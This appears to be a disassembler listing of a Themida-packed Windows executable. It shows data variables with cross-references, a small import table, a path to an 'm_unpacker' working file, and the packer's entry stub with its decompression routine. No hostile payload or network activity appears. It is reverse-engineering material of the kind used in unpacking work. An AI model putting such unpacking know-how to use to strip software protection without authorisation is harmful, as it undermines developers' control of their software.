byte_4DB104	db 2 dup(0)		; DATA XREF: sub_418BB0+109w
word_4DB106	dw 0			; DATA XREF: sub_418BB0+52r
dword_4DB108	dd 0			; DATA XREF: sub_418BB0+3Dr
					; sub_418BB0+112w ...
dword_4DB10C	dd 0			; DATA XREF: sub_418BB0+11Aw
dword_4DB110	dd 0			; DATA XREF: sub_41E220:loc_41E4E5r
					; sub_41E220+2CEw ...
dword_4DB114	dd 0			; DATA XREF: ___:00419144r
					; ___:0041914Fw
dword_4DB118	dd 0			; DATA XREF: sub_4190B0+10w
dword_4DB11C	dd 0			; DATA XREF: ___:004261EBr
					; ___:loc_426264r ...
		dd 0
dword_4DB124	dd 0			; DATA XREF: sub_41A9A0+3r
					; ___:0041A9D3r ...
dword_4DB128	dd 0			; DATA XREF: sub_41AB10+93r
					; sub_41AB10+C8w ...
dword_4DB12C	dd 0			; DATA XREF: sub_414DB0+9r
					; sub_414DD0+Fr ...
dword_4DB130	dd 0			; DATA XREF: ___:0041B63Er
					; ___:0041B649w ...
		align 8
dword_4DB138	dd 1446B0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: ___:off_443BB4o
dword_4DB150	dd 144638h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: ___:off_443BF4o
dword_4DB168	dd 144688h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: ___:off_443BD4o
dword_4DB180	dd 144660h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: ___:off_443BE4o
dword_4DB198	dd 1			; DATA XREF: sub_41FB40:loc_41FE52r
					; sub_41FE90+3w ...
dword_4DB19C	dd 0			; DATA XREF: sub_420720+A6r
					; sub_420720+C9w ...
		dd 0
dword_4DB1A4	dd 0			; DATA XREF: sub_425060+C7o
					; sub_425060+140o
word_4DB1A8	dw 0			; DATA XREF: sub_425060+E8r
		align 4
dword_4DB1AC	dd 0			; DATA XREF: sub_425060+EFw
					; sub_425060+159o
dword_4DB1B0	dd 0			; DATA XREF: sub_424DC0:loc_424E42r
					; sub_424DC0+DDw ...
		align 8
dword_4DB1B8	dd 0			; DATA XREF: sub_419D80+57r
					; sub_419D80:loc_419F16r ...
dword_4DB1BC	dd 0			; DATA XREF: sub_42B580+4r
dword_4DB1C0	dd 0			; DATA XREF: sub_42B250+18r
dword_4DB1C4	dd 0			; DATA XREF: sub_42A8D0+4r
dword_4DB1C8	dd 0			; DATA XREF: sub_419D80+B9r
					; sub_419D80+16Cr ...
dword_4DB1CC	dd 0			; DATA XREF: sub_424DC0+11Fw
dword_4DB1D0	dd 1			; DATA XREF: sub_425B90+26r
					; sub_425B90+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:00426339o
					; ___:00426346o ...
		align 10h
		dd 3Ah dup(0)
dword_4DB2D8	dd 1			; DATA XREF: ___:00426844r
					; ___:0042685Cw ...
dword_4DB2DC	dd 0			; DATA XREF: sub_426B30+2Br
					; sub_426B30+34r
dword_4DB2E0	dd 0			; DATA XREF: ___:loc_427136r
					; ___:00427142w ...
dword_4DB2E4	dd 0			; DATA XREF: ___:loc_42714Ar
					; ___:00427155w ...
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_42715Dr
					; ___:00427169w ...
dword_4DB2EC	dd 0			; DATA XREF: ___:loc_427170r
					; ___:0042717Cw ...
dword_4DB2F0	dd 0			; DATA XREF: ___:loc_4270CAr
					; ___:004270E5w
dword_4DB2F4	dd 0			; DATA XREF: sub_427610+Dr
					; sub_427610+39w ...
dword_4DB2F8	dd 0			; DATA XREF: sub_427610+5Aw
					; sub_427610:loc_427683r ...
dword_4DB2FC	dd 0			; DATA XREF: sub_427610+6Ew
					; sub_427610+8Br ...
dword_4DB300	dd 1			; DATA XREF: sub_427D80+26r
					; sub_427D80+46w ...
dword_4DB304	dd 0			; DATA XREF: sub_41E220+9r
dword_4DB308	dd 0			; DATA XREF: sub_428F10+17w
					; sub_428F10+6Dw ...
		align 10h
dword_4DB310	dd 0			; DATA XREF: sub_428F10+59o
					; sub_428F10+77r
dword_4DB314	dd 10h dup(0)		; DATA XREF: sub_428F10+103o
word_4DB354	dw 0			; DATA XREF: sub_4292F0+FCr
word_4DB356	dw 0			; DATA XREF: sub_428F10+88r
					; sub_4292F0+145r ...
word_4DB358	dw 0			; DATA XREF: sub_4292F0+132r
word_4DB35A	dw 0			; DATA XREF: sub_4292F0+13Br
					; sub_4292F0+18Br
word_4DB35C	dw 0			; DATA XREF: sub_4292F0+126r
					; sub_4292F0+181r
word_4DB35E	dw 0			; DATA XREF: sub_4292F0+11Cr
					; sub_4292F0+177r
word_4DB360	dw 0			; DATA XREF: sub_4292F0+113r
					; sub_4292F0+16Er
word_4DB362	dw 0			; DATA XREF: sub_4292F0+109r
					; sub_4292F0+164r
dword_4DB364	dd 0			; DATA XREF: sub_428F10+93r
					; sub_428F10+CEr
dword_4DB368	dd 10h dup(0)		; DATA XREF: sub_428F10+149o
word_4DB3A8	dw 0			; DATA XREF: sub_4292F0+43r
word_4DB3AA	dw 0			; DATA XREF: sub_428F10+ABr
					; sub_4292F0+8Cr ...
word_4DB3AC	dw 0			; DATA XREF: sub_4292F0+79r
word_4DB3AE	dw 0			; DATA XREF: sub_4292F0+82r
					; sub_4292F0+D2r
word_4DB3B0	dw 0			; DATA XREF: sub_4292F0+6Dr
					; sub_4292F0+C8r
word_4DB3B2	dw 0			; DATA XREF: sub_4292F0+63r
					; sub_4292F0+BEr
word_4DB3B4	dw 0			; DATA XREF: sub_4292F0+5Ar
					; sub_4292F0+B5r
word_4DB3B6	dw 0			; DATA XREF: sub_4292F0+50r
					; sub_4292F0+ABr
dword_4DB3B8	dd 0			; DATA XREF: sub_428F10+B6r
					; sub_428F10+C9r
dword_4DB3BC	dd 0			; DATA XREF: sub_428F10+18Dr
					; sub_428F10+196r ...
dword_4DB3C0	dd 0			; DATA XREF: sub_428EB0+3r
					; sub_428EB0+16r ...
dword_4DB3C4	dd 77C26E79h		; DATA XREF: sub_42A780:loc_42A7AEr
					; sub_42A780+37r ...
dword_4DB3C8	dd 0			; DATA XREF: sub_42A8D0+75r
					; sub_42A8D0+86r ...
dword_4DB3CC	dd 0			; DATA XREF: sub_42B250+25o
					; sub_42B250+93r ...
dword_4DB3D0	dd 0			; DATA XREF: sub_42B250+42o
					; sub_42B250+A3r ...
dword_4DB3D4	dd 0			; DATA XREF: sub_42B250+5Fo
					; sub_42B250+7Cr ...
dword_4DB3D8	dd 0			; DATA XREF: sub_42B580+A0r
					; sub_42B580+B1r ...
dword_4DB3DC	dd 0			; DATA XREF: sub_42B9E0+2AAr
					; sub_42B9E0+2B5r ...
dword_4DB3E0	dd 0			; DATA XREF: sub_42B9E0+2CCr
					; sub_42B9E0+2D7r ...
dword_4DB3E4	dd 3 dup(0)		; DATA XREF: sub_424DC0+94o
					; sub_424DC0+F3o
word_4DB3F0	dw 0			; DATA XREF: sub_42B9E0+36r
		align 8
word_4DB3F8	dw 0			; DATA XREF: sub_42B6B0+Fr
		align 4
		db 2 dup(0)
word_4DB3FE	dw 0			; DATA XREF: sub_42B250+Fr
		db 2 dup(0)
word_4DB402	dw 0			; DATA XREF: sub_42A9B0+Fr
word_4DB404	dw 0			; DATA XREF: sub_42A9B0+1Ar
		align 4
dword_4DB408	dd 0			; DATA XREF: sub_42BE10+155r
					; sub_42BE10+176r ...
dword_4DB40C	dd 0			; DATA XREF: sub_42C0A0+37w
					; sub_42C160+1Br ...
dword_4DB410	dd 0			; DATA XREF: sub_42C0A0+6Ew
					; sub_42C160+101r ...
dword_4DB414	dd 0			; DATA XREF: sub_42C0A0+1Aw
					; sub_42C0A0+47r ...
dword_4DB418	dd 0			; DATA XREF: sub_42BE10+45w
					; sub_42BE10+4Br ...
dword_4DB41C	dd 0			; DATA XREF: sub_42BE10+7Aw
					; sub_42BE10+80r ...
dword_4DB420	dd 0			; DATA XREF: sub_42BE10:loc_42BEB9w
					; sub_42BE10:loc_42BF1Er ...
dword_4DB424	dd 0			; DATA XREF: sub_42BE10+182r
					; sub_42BE10+1CBr ...
dword_4DB428	dd 0			; DATA XREF: sub_42BE10+6r
					; sub_42BE10+2Cw ...
dword_4DB42C	dd 0			; DATA XREF: sub_428050:loc_4280ACr
byte_4DB430	db 0			; DATA XREF: sub_42F960+18Fo
					; sub_42F960+1F2r ...
		align 8
dword_4DB438	dd 0			; DATA XREF: sub_42B940+11o
					; ___:off_444E6Co ...
dword_4DB43C	dd 0			; DATA XREF: sub_42FC00+26r
					; sub_42FC00+46w ...
dword_4DB440	dd 0			; DATA XREF: sub_4307B0+26r
					; sub_4307B0+41w ...
dword_4DB444	dd 0			; DATA XREF: sub_430950+26r
					; sub_430950+41w ...
dword_4DB448	dd 0			; DATA XREF: sub_430B00+26r
					; sub_430B00+4Bw ...
byte_4DB44C	db 0			; DATA XREF: sub_40C32Ar sub_40C32A+9w
		align 10h
dword_4DB450	dd 0			; DATA XREF: sub_42EAE0+8Fw
					; sub_42EAE0+A4w ...
dword_4DB454	dd 0			; DATA XREF: sub_42EC70+1C4w
					; sub_42EC70+1EDw ...
dword_4DB458	dd 0			; DATA XREF: sub_419D00+11r
					; sub_41A630+32r ...
dword_4DB45C	dd 0			; DATA XREF: sub_419D00+6o
					; sub_419D00+1Ao ...
dword_4DB460	dd 24561C8h		; DATA XREF: sub_418D40+EDr
					; sub_418D40+109r ...
		dd 3Fh dup(0)
dword_4DB560	dd 20h			; DATA XREF: sub_41B1B0+7r
					; sub_41DD40+7r ...
dword_4DB564	dd 4E4h			; DATA XREF: sub_41FB40+22r
					; sub_41FB40+14Aw ...
		align 10h
word_4DB570	dw 0			; DATA XREF: sub_41FB40+19Aw
					; sub_41FB40+2F3w ...
		align 4
		dd 2 dup(0)
dword_4DB57C	dd 0			; DATA XREF: sub_41FB40+150w
					; sub_41FB40+2C2w ...
byte_4DB580	db 0			; DATA XREF: sub_41FFF0+1CEw
					; sub_41FFF0+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DB680	db 0			; DATA XREF: sub_41FB40+ABw
					; sub_41FB40+1F4w ...
byte_4DB681	db 0			; DATA XREF: sub_417BD0+92r
					; sub_41FB40+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DB784	dd 0			; DATA XREF: sub_41FB40+169w
					; sub_41FB40+205w ...
dword_4DB788	dd 10h			; DATA XREF: sub_41BE20+48w
					; sub_41CA50+9r ...
dword_4DB78C	dd 0			; DATA XREF: sub_41BF40+475r
					; sub_41BF40+4A4r ...
dword_4DB790	dd 2451E90h		; DATA XREF: sub_41BE20+2Ew
					; sub_41BF40+5B2w ...
dword_4DB794	dd 0			; DATA XREF: sub_41BE20+34w
					; sub_41BF40+468r ...
dword_4DB798	dd 1			; DATA XREF: ___:0041BD73r
					; sub_41BE20+3Ew ...
dword_4DB79C	dd 2451E90h		; DATA XREF: ___:0041BD56r
					; ___:loc_41BDC6r ...
dword_4DB7A0	dd 2450000h		; DATA XREF: sub_4163D0+76r
					; sub_41B8E0+5Cr ...
dword_4DB7A4	dd 0			; DATA XREF: ___:0041AAF4r
					; ___:0041AAFFw ...
dword_4DB7A8	dd 142340h		; DATA XREF: ___:loc_426122r
					; ___:00426350r ...
dword_4DB7AC	dd 2456680h		; DATA XREF: sub_418D40+48w
					; sub_418D40+4Dr ...
		dd 4 dup(0)
dword_4DB7C0	dd 400h	dup(0)		; DATA XREF: ___:off_4438C0o
					; ___:004438C8o
dword_4DC7C0	dd 200h			; DATA XREF: sub_418D40+4r
					; sub_418D40+Dw ...
dword_4DC7C4	dd 1			; DATA XREF: ___:0042630Bw
					; sub_42D080+Er
dword_4DC7C8	dd 1			; DATA XREF: sub_420320+3r
					; sub_420320+16w ...
dword_4DC7CC	dd 28F0050h		; DATA XREF: sub_4179C0+45r
					; sub_419BD0+19r ...
dword_4DC7D0	dd 28F0050h		; DATA XREF: sub_4179C0+3Cr
					; sub_4179C0+5Ar ...
dword_4DC7D4	dd 0			; DATA XREF: ___:00416554r
					; ___:0041655Fw ...
byte_4DC7D8	db 0			; DATA XREF: sub_431910+5r
					; sub_431910+11r ...
		align 4
		dd 209h	dup(0)
aHxHxHxHxHxDaDa	db 'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'µ¤í$µ¤í$µ¤í$µ¤í$µ¤í$',0
		align 4
		dd 80h dup(0)
		dd 24EDA4B5h, 10h dup(0)
		dd 9C37848h, 25E0000h, 25F0000h, 2600000h, 2600794h, 2610000h
		dd 2620000h, 2620C10h, 2630000h, 26300A5h, 2640000h, 2641DF9h
		dd 2641E8Fh, 2650000h, 2660000h, 266080Ch, 2660D18h, 2670000h
		dd 77E75CB5h
dword_4DD2BC	dd 267009Bh		; DATA XREF: sub_401317+B8r
					; ___:00402A6Ar ...
		dd 267039Fh
dword_4DD2C4	dd 2680000h		; DATA XREF: sub_4097CE+33r
		dd 2690000h
dword_4DD2CC	dd 2690599h		; DATA XREF: sub_401317+29r
					; sub_409ECC+2E5r ...
dword_4DD2D0	dd 2690610h		; DATA XREF: sub_4014E0:loc_4019EEr
dword_4DD2D4	dd 26908EFh		; DATA XREF: sub_40F811:loc_40F8A2r
dword_4DD2D8	dd 26A0000h		; DATA XREF: sub_4014E0+11r
dword_4DD2DC	dd 26A0797h		; DATA XREF: sub_4014E0+2r
dword_4DD2E0	dd 26A08FFh		; DATA XREF: ___:00402B4Dr
					; sub_40F4EE+32r
		dd 26A0AF2h
dword_4DD2E8	dd 26B0000h		; DATA XREF: sub_413426+B9r
		dd 26B0658h
dword_4DD2F0	dd 26B068Fh		; DATA XREF: ___:loc_40294Ar
		dd 26B0AE4h, 26B0C38h, 26B0CCEh, 26C0000h
dword_4DD304	dd 26C05FFh		; DATA XREF: ___:004027BEr
					; sub_413BB4+8Cr
		dd 26D0000h
dword_4DD30C	dd 26D0BAFh		; DATA XREF: sub_40F4EE:loc_40F5DAr
		dd 26E0000h
dword_4DD314	dd 26F0000h		; DATA XREF: sub_42BE10+18r
		dd 26F053Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD31E:				; CODE XREF: ___:004DD325j
		jo	short loc_4DD322
		add	bl, ah


loc_4DD322:				; CODE XREF: ___:loc_4DD31Ej
		div	dword ptr [edi+1Fh]
		loop	loc_4DD31E
		ja	short loc_4DD361
		add	eax, 7700270h
; ---------------------------------------------------------------------------
		dw 270h
dword_4DD330	dd 2710000h		; DATA XREF: ___:004128F1r
		dd 2720000h
dword_4DD338	dd 2730000h		; DATA XREF: sub_40F811+Br
		dd 27308F4h, 27309FCh
dword_4DD344	dd 2730F02h		; DATA XREF: sub_40F738+3Ar
					; sub_4139E2+79r
dword_4DD348	dd 2740000h		; DATA XREF: sub_40F63F+23r
					; sub_4139E2+37r
; ---------------------------------------------------------------------------
		jmp	short near ptr byte_4DD360
; ---------------------------------------------------------------------------
		dw 274h
		dd 2750000h, 2750B9Bh
dword_4DD358	dd 2760000h		; DATA XREF: sub_411E5F+36r
		dd 276028Ah
byte_4DD360	db 0			; CODE XREF: ___:004DD34Cj
; ---------------------------------------------------------------------------


loc_4DD361:				; CODE XREF: ___:004DD327j
		add	[edi+2], dh
		push	ebp
		push	es
		ja	short loc_4DD36A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD36A:				; CODE XREF: ___:004DD366j
		js	short loc_4DD36E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD36E:				; CODE XREF: ___:loc_4DD36Aj
		jns	short loc_4DD372
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD372:				; CODE XREF: ___:loc_4DD36Ej
		jp	short near ptr loc_4DD375+1
		popf


loc_4DD375:				; CODE XREF: ___:loc_4DD372j
		or	edi, [edx+2]
		bound	ecx, [esi]
		jp	short loc_4DD37E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD37E:				; CODE XREF: ___:004DD37Aj
		jnp	short loc_4DD382
		xchg	al, [ecx]


loc_4DD382:				; CODE XREF: ___:loc_4DD37Ej
		jnp	short loc_4DD386
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD386:				; CODE XREF: ___:loc_4DD382j
		jl	short loc_4DD38A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4DD38A:				; CODE XREF: ___:loc_4DD386j
		jge	short loc_4DD38E
		inc	edx
		push	es


loc_4DD38E:				; CODE XREF: ___:loc_4DD38Aj
		jge	short near ptr loc_4DD391+1
		xchg	eax, ecx


loc_4DD391:				; CODE XREF: ___:loc_4DD38Ej
		or	edi, [ebp+2]
; ---------------------------------------------------------------------------
		dd 27E0000h, 27E06F2h, 27F0000h, 2800000h, 2801179h
dword_4DD3A8	dd 2810000h		; DATA XREF: sub_4129B0+Fr
; ---------------------------------------------------------------------------
		mov	eax, 61028111h
		adc	eax, 19630281h
		add	dword ptr [edx], 2820000h
		jmp	short loc_4DD3D3
; ---------------------------------------------------------------------------
		dw 282h
		dd 2821B33h, 2830000h, 283011Ch, 2840000h
		db 53h,	5, 84h
; ---------------------------------------------------------------------------


loc_4DD3D3:				; CODE XREF: ___:004DD3BCj
		add	bh, [ebx+0Ch]
		test	[edx], al
		retf	840Ch
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	[ebp-7AE3DCFEh], al
		add	al, [eax+1Ch]
		test	[edx], eax
		movsd
		db	36h
		jmp	short loc_4DD463
; ---------------------------------------------------------------------------
		dd 2860000h, 28602BDh, 28606DCh, 286074Ch, 2870000h, 2880000h
		dd 28820CAh, 288298Bh, 2890000h, 2890603h, 28907B6h, 289096Fh
		dd 2890A01h, 28A0000h, 28A043Ch, 28A0C44h, 28A0CDDh, 28A0DEDh
		dd 28B0000h, 28B084Ah, 28B087Ch, 28B088Ch, 28C0000h, 28C077Ah
		dd 28D0000h, 28E0000h, 28E10BCh, 28E12BDh, 28E13DBh
		db 3Ch,	14h, 8Eh
; ---------------------------------------------------------------------------


loc_4DD463:				; CODE XREF: ___:004DD3E9j
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 71AB1836h, 71AB41DAh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h
		dd 71AB868Dh, 71AB1746h, 71AB3E5Dh, 71AB3F8Dh, 71AB1A6Dh
dword_4DD490	dd 71AB5690h		; DATA XREF: sub_40C89D+B5r
					; sub_40C89D+28Br
		dd 71AB3C22h
dword_4DD498	dd 71AB1AF4h		; DATA XREF: sub_40C89D+A4r
					; sub_40C89D:loc_40CB17r
		dd 71AB1B7Bh, 71AB12F8h, 71AB1890h, 2D6h dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 00100000 (1048576.)
; Section size in file		: 00100000 (1048576.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 0E167FF53h, 4B6EBh, 56C66h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054C7AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054FC51 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054FEC7 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0054FF28 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 0054FFF4 SIZE 00000016 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
					; DATA XREF: ___:0043F70Do ...
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_54C7AC
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


